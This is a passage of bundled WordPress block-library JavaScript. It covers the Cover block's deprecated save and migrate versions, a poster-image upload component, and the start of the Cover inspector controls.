12048 hasParallax,
12049 isRepeated,
12050 overlayColor,
12051 url,
12052 alt,
12053 id,
12054 minHeight: minHeightProp,
12055 minHeightUnit
12056 } = attributes;
12057 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
12058 "background-color",
12059 overlayColor
12060 );
12061 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
12062 const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
12063 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
12064 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
12065 const isImgElement = !(hasParallax || isRepeated);
12066 const style = {
12067 ...isImageBackground && !isImgElement ? backgroundImageStyles(url) : {},
12068 backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
12069 background: customGradient && !url ? customGradient : void 0,
12070 minHeight: minHeight || void 0
12071 };
12072 const objectPosition = (
12073 // prettier-ignore
12074 focalPoint && isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
12075 );
12076 const classes = dist_clsx(
12077 dimRatioToClassV1(dimRatio),
12078 overlayColorClass,
12079 {
12080 "has-background-dim": dimRatio !== 0,
12081 "has-parallax": hasParallax,
12082 "is-repeated": isRepeated,
12083 "has-background-gradient": gradient || customGradient,
12084 [gradientClass]: !url && gradientClass,
12085 "has-custom-content-position": !isContentPositionCenter(contentPosition)
12086 },
12087 getPositionClassName(contentPosition)
12088 );
12089 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
12090 url && (gradient || customGradient) && dimRatio !== 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12091 "span",
12092 {
12093 "aria-hidden": "true",
12094 className: dist_clsx(
12095 "wp-block-cover__gradient-background",
12096 gradientClass
12097 ),
12098 style: customGradient ? { background: customGradient } : void 0
12099 }
12100 ),
12101 isImageBackground && isImgElement && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12102 "img",
12103 {
12104 className: dist_clsx(
12105 "wp-block-cover__image-background",
12106 id ? `wp-image-${id}` : null
12107 ),
12108 alt,
12109 src: url,
12110 style: { objectPosition },
12111 "data-object-fit": "cover",
12112 "data-object-position": objectPosition
12113 }
12114 ),
12115 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12116 "video",
12117 {
12118 className: dist_clsx(
12119 "wp-block-cover__video-background",
12120 "intrinsic-ignore"
12121 ),
12122 autoPlay: true,
12123 muted: true,
12124 loop: true,
12125 playsInline: true,
12126 src: url,
12127 style: { objectPosition },
12128 "data-object-fit": "cover",
12129 "data-object-position": objectPosition
12130 }
12131 ),
12132 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-cover__inner-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
12133 ] });
12134 },
12135 migrate: (0,external_wp_compose_namespaceObject.compose)(migrateDimRatio, migrateTag)
12136};
12137const v6 = {
12138 attributes: {
12139 ...deprecated_blockAttributes,
12140 isRepeated: {
12141 type: "boolean",
12142 default: false
12143 },
12144 minHeight: {
12145 type: "number"
12146 },
12147 minHeightUnit: {
12148 type: "string"
12149 },
12150 gradient: {
12151 type: "string"
12152 },
12153 customGradient: {
12154 type: "string"
12155 },
12156 contentPosition: {
12157 type: "string"
12158 }
12159 },
12160 supports: {
12161 align: true
12162 },
12163 save({ attributes }) {
12164 const {
12165 backgroundType,
12166 gradient,
12167 contentPosition,
12168 customGradient,
12169 customOverlayColor,
12170 dimRatio,
12171 focalPoint,
12172 hasParallax,
12173 isRepeated,
12174 overlayColor,
12175 url,
12176 minHeight: minHeightProp,
12177 minHeightUnit
12178 } = attributes;
12179 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
12180 "background-color",
12181 overlayColor
12182 );
12183 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
12184 const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
12185 const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
12186 const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
12187 const style = isImageBackground ? backgroundImageStyles(url) : {};
12188 const videoStyle = {};
12189 if (!overlayColorClass) {
12190 style.backgroundColor = customOverlayColor;
12191 }
12192 if (customGradient && !url) {
12193 style.background = customGradient;
12194 }
12195 style.minHeight = minHeight || void 0;
12196 let positionValue;
12197 if (focalPoint) {
12198 positionValue = `${Math.round(
12199 focalPoint.x * 100
12200 )}% ${Math.round(focalPoint.y * 100)}%`;
12201 if (isImageBackground && !hasParallax) {
12202 style.backgroundPosition = positionValue;
12203 }
12204 if (isVideoBackground) {
12205 videoStyle.objectPosition = positionValue;
12206 }
12207 }
12208 const classes = dist_clsx(
12209 dimRatioToClassV1(dimRatio),
12210 overlayColorClass,
12211 {
12212 "has-background-dim": dimRatio !== 0,
12213 "has-parallax": hasParallax,
12214 "is-repeated": isRepeated,
12215 "has-background-gradient": gradient || customGradient,
12216 [gradientClass]: !url && gradientClass,
12217 "has-custom-content-position": !isContentPositionCenter(contentPosition)
12218 },
12219 getPositionClassName(contentPosition)
12220 );
12221 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { ...external_wp_blockEditor_namespaceObject.useBlockProps.save({ className: classes, style }), children: [
12222 url && (gradient || customGradient) && dimRatio !== 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12223 "span",
12224 {
12225 "aria-hidden": "true",
12226 className: dist_clsx(
12227 "wp-block-cover__gradient-background",
12228 gradientClass
12229 ),
12230 style: customGradient ? { background: customGradient } : void 0
12231 }
12232 ),
12233 isVideoBackground && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12234 "video",
12235 {
12236 className: "wp-block-cover__video-background",
12237 autoPlay: true,
12238 muted: true,
12239 loop: true,
12240 playsInline: true,
12241 src: url,
12242 style: videoStyle
12243 }
12244 ),
12245 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-cover__inner-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
12246 ] });
12247 },
12248 migrate: (0,external_wp_compose_namespaceObject.compose)(migrateDimRatio, migrateTag)
12249};
12250const v5 = {
12251 attributes: {
12252 ...deprecated_blockAttributes,
12253 minHeight: {
12254 type: "number"
12255 },
12256 gradient: {
12257 type: "string"
12258 },
12259 customGradient: {
12260 type: "string"
12261 }
12262 },
12263 supports: {
12264 align: true
12265 },
12266 save({ attributes }) {
12267 const {
12268 backgroundType,
12269 gradient,
12270 customGradient,
12271 customOverlayColor,
12272 dimRatio,
12273 focalPoint,
12274 hasParallax,
12275 overlayColor,
12276 url,
12277 minHeight
12278 } = attributes;
12279 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
12280 "background-color",
12281 overlayColor
12282 );
12283 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
12284 const style = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
12285 if (!overlayColorClass) {
12286 style.backgroundColor = customOverlayColor;
12287 }
12288 if (focalPoint && !hasParallax) {
12289 style.backgroundPosition = `${Math.round(
12290 focalPoint.x * 100
12291 )}% ${Math.round(focalPoint.y * 100)}%`;
12292 }
12293 if (customGradient && !url) {
12294 style.background = customGradient;
12295 }
12296 style.minHeight = minHeight || void 0;
12297 const classes = dist_clsx(
12298 dimRatioToClassV1(dimRatio),
12299 overlayColorClass,
12300 {
12301 "has-background-dim": dimRatio !== 0,
12302 "has-parallax": hasParallax,
12303 "has-background-gradient": customGradient,
12304 [gradientClass]: !url && gradientClass
12305 }
12306 );
12307 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: classes, style, children: [
12308 url && (gradient || customGradient) && dimRatio !== 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12309 "span",
12310 {
12311 "aria-hidden": "true",
12312 className: dist_clsx(
12313 "wp-block-cover__gradient-background",
12314 gradientClass
12315 ),
12316 style: customGradient ? { background: customGradient } : void 0
12317 }
12318 ),
12319 VIDEO_BACKGROUND_TYPE === backgroundType && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12320 "video",
12321 {
12322 className: "wp-block-cover__video-background",
12323 autoPlay: true,
12324 muted: true,
12325 loop: true,
12326 src: url
12327 }
12328 ),
12329 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-cover__inner-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
12330 ] });
12331 },
12332 migrate: (0,external_wp_compose_namespaceObject.compose)(migrateDimRatio, migrateTag)
12333};
12334const v4 = {
12335 attributes: {
12336 ...deprecated_blockAttributes,
12337 minHeight: {
12338 type: "number"
12339 },
12340 gradient: {
12341 type: "string"
12342 },
12343 customGradient: {
12344 type: "string"
12345 }
12346 },
12347 supports: {
12348 align: true
12349 },
12350 save({ attributes }) {
12351 const {
12352 backgroundType,
12353 gradient,
12354 customGradient,
12355 customOverlayColor,
12356 dimRatio,
12357 focalPoint,
12358 hasParallax,
12359 overlayColor,
12360 url,
12361 minHeight
12362 } = attributes;
12363 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
12364 "background-color",
12365 overlayColor
12366 );
12367 const gradientClass = (0,external_wp_blockEditor_namespaceObject.__experimentalGetGradientClass)(gradient);
12368 const style = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
12369 if (!overlayColorClass) {
12370 style.backgroundColor = customOverlayColor;
12371 }
12372 if (focalPoint && !hasParallax) {
12373 style.backgroundPosition = `${focalPoint.x * 100}% ${focalPoint.y * 100}%`;
12374 }
12375 if (customGradient && !url) {
12376 style.background = customGradient;
12377 }
12378 style.minHeight = minHeight || void 0;
12379 const classes = dist_clsx(
12380 dimRatioToClassV1(dimRatio),
12381 overlayColorClass,
12382 {
12383 "has-background-dim": dimRatio !== 0,
12384 "has-parallax": hasParallax,
12385 "has-background-gradient": customGradient,
12386 [gradientClass]: !url && gradientClass
12387 }
12388 );
12389 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: classes, style, children: [
12390 url && (gradient || customGradient) && dimRatio !== 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12391 "span",
12392 {
12393 "aria-hidden": "true",
12394 className: dist_clsx(
12395 "wp-block-cover__gradient-background",
12396 gradientClass
12397 ),
12398 style: customGradient ? { background: customGradient } : void 0
12399 }
12400 ),
12401 VIDEO_BACKGROUND_TYPE === backgroundType && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12402 "video",
12403 {
12404 className: "wp-block-cover__video-background",
12405 autoPlay: true,
12406 muted: true,
12407 loop: true,
12408 src: url
12409 }
12410 ),
12411 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-block-cover__inner-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
12412 ] });
12413 },
12414 migrate: (0,external_wp_compose_namespaceObject.compose)(migrateDimRatio, migrateTag)
12415};
12416const v3 = {
12417 attributes: {
12418 ...deprecated_blockAttributes,
12419 title: {
12420 type: "string",
12421 source: "html",
12422 selector: "p"
12423 },
12424 contentAlign: {
12425 type: "string",
12426 default: "center"
12427 }
12428 },
12429 supports: {
12430 align: true
12431 },
12432 save({ attributes }) {
12433 const {
12434 backgroundType,
12435 contentAlign,
12436 customOverlayColor,
12437 dimRatio,
12438 focalPoint,
12439 hasParallax,
12440 overlayColor,
12441 title,
12442 url
12443 } = attributes;
12444 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
12445 "background-color",
12446 overlayColor
12447 );
12448 const style = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
12449 if (!overlayColorClass) {
12450 style.backgroundColor = customOverlayColor;
12451 }
12452 if (focalPoint && !hasParallax) {
12453 style.backgroundPosition = `${focalPoint.x * 100}% ${focalPoint.y * 100}%`;
12454 }
12455 const classes = dist_clsx(
12456 dimRatioToClassV1(dimRatio),
12457 overlayColorClass,
12458 {
12459 "has-background-dim": dimRatio !== 0,
12460 "has-parallax": hasParallax,
12461 [`has-${contentAlign}-content`]: contentAlign !== "center"
12462 }
12463 );
12464 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: classes, style, children: [
12465 VIDEO_BACKGROUND_TYPE === backgroundType && url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12466 "video",
12467 {
12468 className: "wp-block-cover__video-background",
12469 autoPlay: true,
12470 muted: true,
12471 loop: true,
12472 src: url
12473 }
12474 ),
12475 !external_wp_blockEditor_namespaceObject.RichText.isEmpty(title) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12476 external_wp_blockEditor_namespaceObject.RichText.Content,
12477 {
12478 tagName: "p",
12479 className: "wp-block-cover-text",
12480 value: title
12481 }
12482 )
12483 ] });
12484 },
12485 migrate(attributes) {
12486 const newAttribs = {
12487 ...attributes,
12488 dimRatio: !attributes.url ? 100 : attributes.dimRatio,
12489 tagName: !attributes.tagName ? "div" : attributes.tagName
12490 };
12491 const { title, contentAlign, ...restAttributes } = newAttribs;
12492 return [
12493 restAttributes,
12494 [
12495 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
12496 content: attributes.title,
12497 align: attributes.contentAlign,
12498 fontSize: "large",
12499 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write title\u2026")
12500 })
12501 ]
12502 ];
12503 }
12504};
12505const deprecated_v2 = {
12506 attributes: {
12507 ...deprecated_blockAttributes,
12508 title: {
12509 type: "string",
12510 source: "html",
12511 selector: "p"
12512 },
12513 contentAlign: {
12514 type: "string",
12515 default: "center"
12516 },
12517 align: {
12518 type: "string"
12519 }
12520 },
12521 supports: {
12522 className: false
12523 },
12524 save({ attributes }) {
12525 const {
12526 url,
12527 title,
12528 hasParallax,
12529 dimRatio,
12530 align,
12531 contentAlign,
12532 overlayColor,
12533 customOverlayColor
12534 } = attributes;
12535 const overlayColorClass = (0,external_wp_blockEditor_namespaceObject.getColorClassName)(
12536 "background-color",
12537 overlayColor
12538 );
12539 const style = backgroundImageStyles(url);
12540 if (!overlayColorClass) {
12541 style.backgroundColor = customOverlayColor;
12542 }
12543 const classes = dist_clsx(
12544 "wp-block-cover-image",
12545 dimRatioToClassV1(dimRatio),
12546 overlayColorClass,
12547 {
12548 "has-background-dim": dimRatio !== 0,
12549 "has-parallax": hasParallax,
12550 [`has-${contentAlign}-content`]: contentAlign !== "center"
12551 },
12552 align ? `align${align}` : null
12553 );
12554 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: classes, style, children: !external_wp_blockEditor_namespaceObject.RichText.isEmpty(title) && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12555 external_wp_blockEditor_namespaceObject.RichText.Content,
12556 {
12557 tagName: "p",
12558 className: "wp-block-cover-image-text",
12559 value: title
12560 }
12561 ) });
12562 },
12563 migrate(attributes) {
12564 const newAttribs = {
12565 ...attributes,
12566 dimRatio: !attributes.url ? 100 : attributes.dimRatio,
12567 tagName: !attributes.tagName ? "div" : attributes.tagName
12568 };
12569 const { title, contentAlign, align, ...restAttributes } = newAttribs;
12570 return [
12571 restAttributes,
12572 [
12573 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
12574 content: attributes.title,
12575 align: attributes.contentAlign,
12576 fontSize: "large",
12577 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write title\u2026")
12578 })
12579 ]
12580 ];
12581 }
12582};
12583const cover_deprecated_v1 = {
12584 attributes: {
12585 ...deprecated_blockAttributes,
12586 title: {
12587 type: "string",
12588 source: "html",
12589 selector: "h2"
12590 },
12591 align: {
12592 type: "string"
12593 },
12594 contentAlign: {
12595 type: "string",
12596 default: "center"
12597 }
12598 },
12599 supports: {
12600 className: false
12601 },
12602 save({ attributes }) {
12603 const { url, title, hasParallax, dimRatio, align } = attributes;
12604 const style = backgroundImageStyles(url);
12605 const classes = dist_clsx(
12606 "wp-block-cover-image",
12607 dimRatioToClassV1(dimRatio),
12608 {
12609 "has-background-dim": dimRatio !== 0,
12610 "has-parallax": hasParallax
12611 },
12612 align ? `align${align}` : null
12613 );
12614 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("section", { className: classes, style, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.RichText.Content, { tagName: "h2", value: title }) });
12615 },
12616 migrate(attributes) {
12617 const newAttribs = {
12618 ...attributes,
12619 dimRatio: !attributes.url ? 100 : attributes.dimRatio,
12620 tagName: !attributes.tagName ? "div" : attributes.tagName
12621 };
12622 const { title, contentAlign, align, ...restAttributes } = newAttribs;
12623 return [
12624 restAttributes,
12625 [
12626 (0,external_wp_blocks_namespaceObject.createBlock)("core/paragraph", {
12627 content: attributes.title,
12628 align: attributes.contentAlign,
12629 fontSize: "large",
12630 placeholder: (0,external_wp_i18n_namespaceObject.__)("Write title\u2026")
12631 })
12632 ]
12633 ];
12634 }
12635};
12636var cover_deprecated_deprecated_default = [v14, v13, deprecated_v12, deprecated_v11, deprecated_v10, v9, v8, v7, v6, v5, v4, v3, deprecated_v2, cover_deprecated_v1];
12637
12638
12639;// ./node_modules/@wordpress/block-library/build-module/cover/constants.js
12640const DEFAULT_MEDIA_SIZE_SLUG = "full";
12641
12642
12643;// ./node_modules/@wordpress/block-library/build-module/utils/poster-image.js
12644
12645
12646
12647
12648
12649
12650
12651
12652
12653
12654const POSTER_IMAGE_ALLOWED_MEDIA_TYPES = ["image"];
12655function PosterImage({ poster, onChange }) {
12656 const posterButtonRef = (0,external_wp_element_namespaceObject.useRef)();
12657 const [isLoading, setIsLoading] = (0,external_wp_element_namespaceObject.useState)(false);
12658 const descriptionId = (0,external_wp_compose_namespaceObject.useInstanceId)(
12659 PosterImage,
12660 "block-library-poster-image-description"
12661 );
12662 const { getSettings } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
12663 const { createErrorNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
12664 const onDropFiles = (filesList) => {
12665 getSettings().mediaUpload({
12666 allowedTypes: POSTER_IMAGE_ALLOWED_MEDIA_TYPES,
12667 filesList,
12668 onFileChange: ([image]) => {
12669 if ((0,external_wp_blob_namespaceObject.isBlobURL)(image?.url)) {
12670 setIsLoading(true);
12671 return;
12672 }
12673 if (image) {
12674 onChange(image);
12675 }
12676 setIsLoading(false);
12677 },
12678 onError: (message) => {
12679 createErrorNotice(message, {
12680 id: "poster-image-upload-notice",
12681 type: "snackbar"
12682 });
12683 setIsLoading(false);
12684 },
12685 multiple: false
12686 });
12687 };
12688 const getPosterButtonContent = () => {
12689 if (!poster && isLoading) {
12690 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
12691 }
12692 return !poster ? (0,external_wp_i18n_namespaceObject.__)("Set poster image") : (0,external_wp_i18n_namespaceObject.__)("Replace");
12693 };
12694 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.MediaUploadCheck, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12695 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
12696 {
12697 label: (0,external_wp_i18n_namespaceObject.__)("Poster image"),
12698 isShownByDefault: true,
12699 hasValue: () => !!poster,
12700 onDeselect: () => onChange(void 0),
12701 children: [
12702 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, { children: (0,external_wp_i18n_namespaceObject.__)("Poster image") }),
12703 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12704 external_wp_blockEditor_namespaceObject.MediaUpload,
12705 {
12706 title: (0,external_wp_i18n_namespaceObject.__)("Select poster image"),
12707 onSelect: onChange,
12708 allowedTypes: POSTER_IMAGE_ALLOWED_MEDIA_TYPES,
12709 render: ({ open }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-library-poster-image__container", children: [
12710 poster && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12711 external_wp_components_namespaceObject.Button,
12712 {
12713 __next40pxDefaultSize: true,
12714 onClick: open,
12715 "aria-haspopup": "dialog",
12716 "aria-label": (0,external_wp_i18n_namespaceObject.__)(
12717 "Edit or replace the poster image."
12718 ),
12719 className: "block-library-poster-image__preview",
12720 disabled: isLoading,
12721 accessibleWhenDisabled: true,
12722 children: [
12723 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12724 "img",
12725 {
12726 src: poster,
12727 alt: (0,external_wp_i18n_namespaceObject.__)("Poster image preview"),
12728 className: "block-library-poster-image__preview-image"
12729 }
12730 ),
12731 isLoading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {})
12732 ]
12733 }
12734 ),
12735 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12736 external_wp_components_namespaceObject.__experimentalHStack,
12737 {
12738 className: dist_clsx(
12739 "block-library-poster-image__actions",
12740 {
12741 "block-library-poster-image__actions-select": !poster
12742 }
12743 ),
12744 children: [
12745 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12746 external_wp_components_namespaceObject.Button,
12747 {
12748 __next40pxDefaultSize: true,
12749 onClick: open,
12750 ref: posterButtonRef,
12751 className: "block-library-poster-image__action",
12752 "aria-describedby": descriptionId,
12753 "aria-haspopup": "dialog",
12754 variant: !poster ? "secondary" : void 0,
12755 disabled: isLoading,
12756 accessibleWhenDisabled: true,
12757 children: getPosterButtonContent()
12758 }
12759 ),
12760 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { id: descriptionId, hidden: true, children: poster ? (0,external_wp_i18n_namespaceObject.sprintf)(
12761 /* translators: %s: poster image URL. */
12762 (0,external_wp_i18n_namespaceObject.__)(
12763 "The current poster image url is %s."
12764 ),
12765 poster
12766 ) : (0,external_wp_i18n_namespaceObject.__)(
12767 "There is no poster image currently selected."
12768 ) }),
12769 !!poster && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12770 external_wp_components_namespaceObject.Button,
12771 {
12772 __next40pxDefaultSize: true,
12773 onClick: () => {
12774 onChange(void 0);
12775 posterButtonRef.current.focus();
12776 },
12777 className: "block-library-poster-image__action",
12778 disabled: isLoading,
12779 accessibleWhenDisabled: true,
12780 children: (0,external_wp_i18n_namespaceObject.__)("Remove")
12781 }
12782 )
12783 ]
12784 }
12785 ),
12786 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.DropZone, { onFilesDrop: onDropFiles })
12787 ] })
12788 }
12789 )
12790 ]
12791 }
12792 ) });
12793}
12794var poster_image_default = PosterImage;
12795
12796
12797;// ./node_modules/@wordpress/block-library/build-module/cover/edit/inspector-controls.js
12798
12799
12800
12801
12802
12803
12804
12805
12806
12807
12808
12809
12810
12811const { cleanEmptyObject: inspector_controls_cleanEmptyObject, ResolutionTool, HTMLElementControl: inspector_controls_HTMLElementControl } = unlock(
12812 external_wp_blockEditor_namespaceObject.privateApis
12813);
12814function CoverHeightInput({
12815 onChange,
12816 onUnitChange,
12817 unit = "px",
12818 value = ""
12819}) {
12820 const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(external_wp_components_namespaceObject.__experimentalUnitControl);
12821 const inputId = `block-cover-height-input-${instanceId}`;
12822 const isPx = unit === "px";
12823 const [availableUnits] = (0,external_wp_blockEditor_namespaceObject.useSettings)("spacing.units");
12824 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
12825 availableUnits: availableUnits || ["px", "em", "rem", "vw", "vh"],
12826 defaultValues: { px: 430, "%": 20, em: 20, rem: 20, vw: 20, vh: 50 }
12827 });
12828 const handleOnChange = (unprocessedValue) => {
12829 const inputValue = unprocessedValue !== "" ? parseFloat(unprocessedValue) : void 0;
12830 if (isNaN(inputValue) && inputValue !== void 0) {
12831 return;
12832 }
12833 onChange(inputValue);
12834 };
12835 const computedValue = (0,external_wp_element_namespaceObject.useMemo)(() => {
12836 const [parsedQuantity] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value);
12837 return [parsedQuantity, unit].join("");
12838 }, [unit, value]);
12839 const min = isPx ? COVER_MIN_HEIGHT : 0;
12840 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12841 external_wp_components_namespaceObject.__experimentalUnitControl,
12842 {
12843 __next40pxDefaultSize: true,
12844 label: (0,external_wp_i18n_namespaceObject.__)("Minimum height"),
12845 id: inputId,
12846 isResetValueOnUnitChange: true,
12847 min,
12848 onChange: handleOnChange,
12849 onUnitChange,
12850 units,
12851 value: computedValue
12852 }
12853 );
12854}
12855function CoverInspectorControls({
12856 attributes,
12857 setAttributes,
12858 clientId,
12859 setOverlayColor,
12860 coverRef,
12861 currentSettings,
12862 updateDimRatio,
12863 featuredImage
12864}) {
12865 const {
12866 useFeaturedImage,
12867 id,
12868 dimRatio,
12869 focalPoint,
12870 hasParallax,
12871 isRepeated,
12872 minHeight,
12873 minHeightUnit,
12874 alt,
12875 tagName,
12876 poster
12877 } = attributes;
12878 const {
12879 isVideoBackground,
12880 isImageBackground,
12881 mediaElement,
12882 url,
12883 overlayColor
12884 } = currentSettings;
12885 const sizeSlug = attributes.sizeSlug || DEFAULT_MEDIA_SIZE_SLUG;
12886 const { gradientValue, setGradient } = (0,external_wp_blockEditor_namespaceObject.__experimentalUseGradient)();
12887 const { getSettings } = (0,external_wp_data_namespaceObject.useSelect)(external_wp_blockEditor_namespaceObject.store);
12888 const imageSizes = getSettings()?.imageSizes;
12889 const image = (0,external_wp_data_namespaceObject.useSelect)(
12890 (select) => id && isImageBackground ? select(external_wp_coreData_namespaceObject.store).getEntityRecord(
12891 "postType",
12892 "attachment",
12893 id,
12894 { context: "view" }
12895 ) : null,
12896 [id, isImageBackground]
12897 );
12898 const currentBackgroundImage = useFeaturedImage ? featuredImage : image;
12899 function updateImage(newSizeSlug) {
12900 const newUrl = currentBackgroundImage?.media_details?.sizes?.[newSizeSlug]?.source_url;
12901 if (!newUrl) {
12902 return null;
12903 }
12904 setAttributes({
12905 url: newUrl,
12906 sizeSlug: newSizeSlug
12907 });
12908 }
12909 const imageSizeOptions = imageSizes?.filter(
12910 ({ slug }) => currentBackgroundImage?.media_details?.sizes?.[slug]?.source_url
12911 )?.map(({ name, slug }) => ({ value: slug, label: name }));
12912 const toggleParallax = () => {
12913 setAttributes({
12914 hasParallax: !hasParallax,
12915 ...!hasParallax ? { focalPoint: void 0 } : {}
12916 });
12917 };
12918 const toggleIsRepeated = () => {
12919 setAttributes({
12920 isRepeated: !isRepeated
12921 });
12922 };
12923 const showFocalPointPicker = isVideoBackground || isImageBackground && (!hasParallax || isRepeated);
12924 const imperativeFocalPointPreview = (value) => {
12925 const [styleOfRef, property] = mediaElement.current ? [mediaElement.current.style, "objectPosition"] : [coverRef.current.style, "backgroundPosition"];
12926 styleOfRef[property] = mediaPosition(value);
12927 };
12928 const colorGradientSettings = (0,external_wp_blockEditor_namespaceObject.__experimentalUseMultipleOriginColorsAndGradients)();
12929 const dropdownMenuProps = useToolsPanelDropdownMenuProps();
12930 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
12931 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: !!url && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
12932 external_wp_components_namespaceObject.__experimentalToolsPanel,
12933 {
12934 label: (0,external_wp_i18n_namespaceObject.__)("Settings"),
12935 resetAll: () => {
12936 setAttributes({
12937 hasParallax: false,
12938 focalPoint: void 0,
12939 isRepeated: false,
12940 alt: "",
12941 poster: void 0
12942 });
12943 updateImage(DEFAULT_MEDIA_SIZE_SLUG);
12944 },
12945 dropdownMenuProps,
12946 children: [
12947 isImageBackground && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
12948 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
12949 external_wp_components_namespaceObject.__experimentalToolsPanelItem,
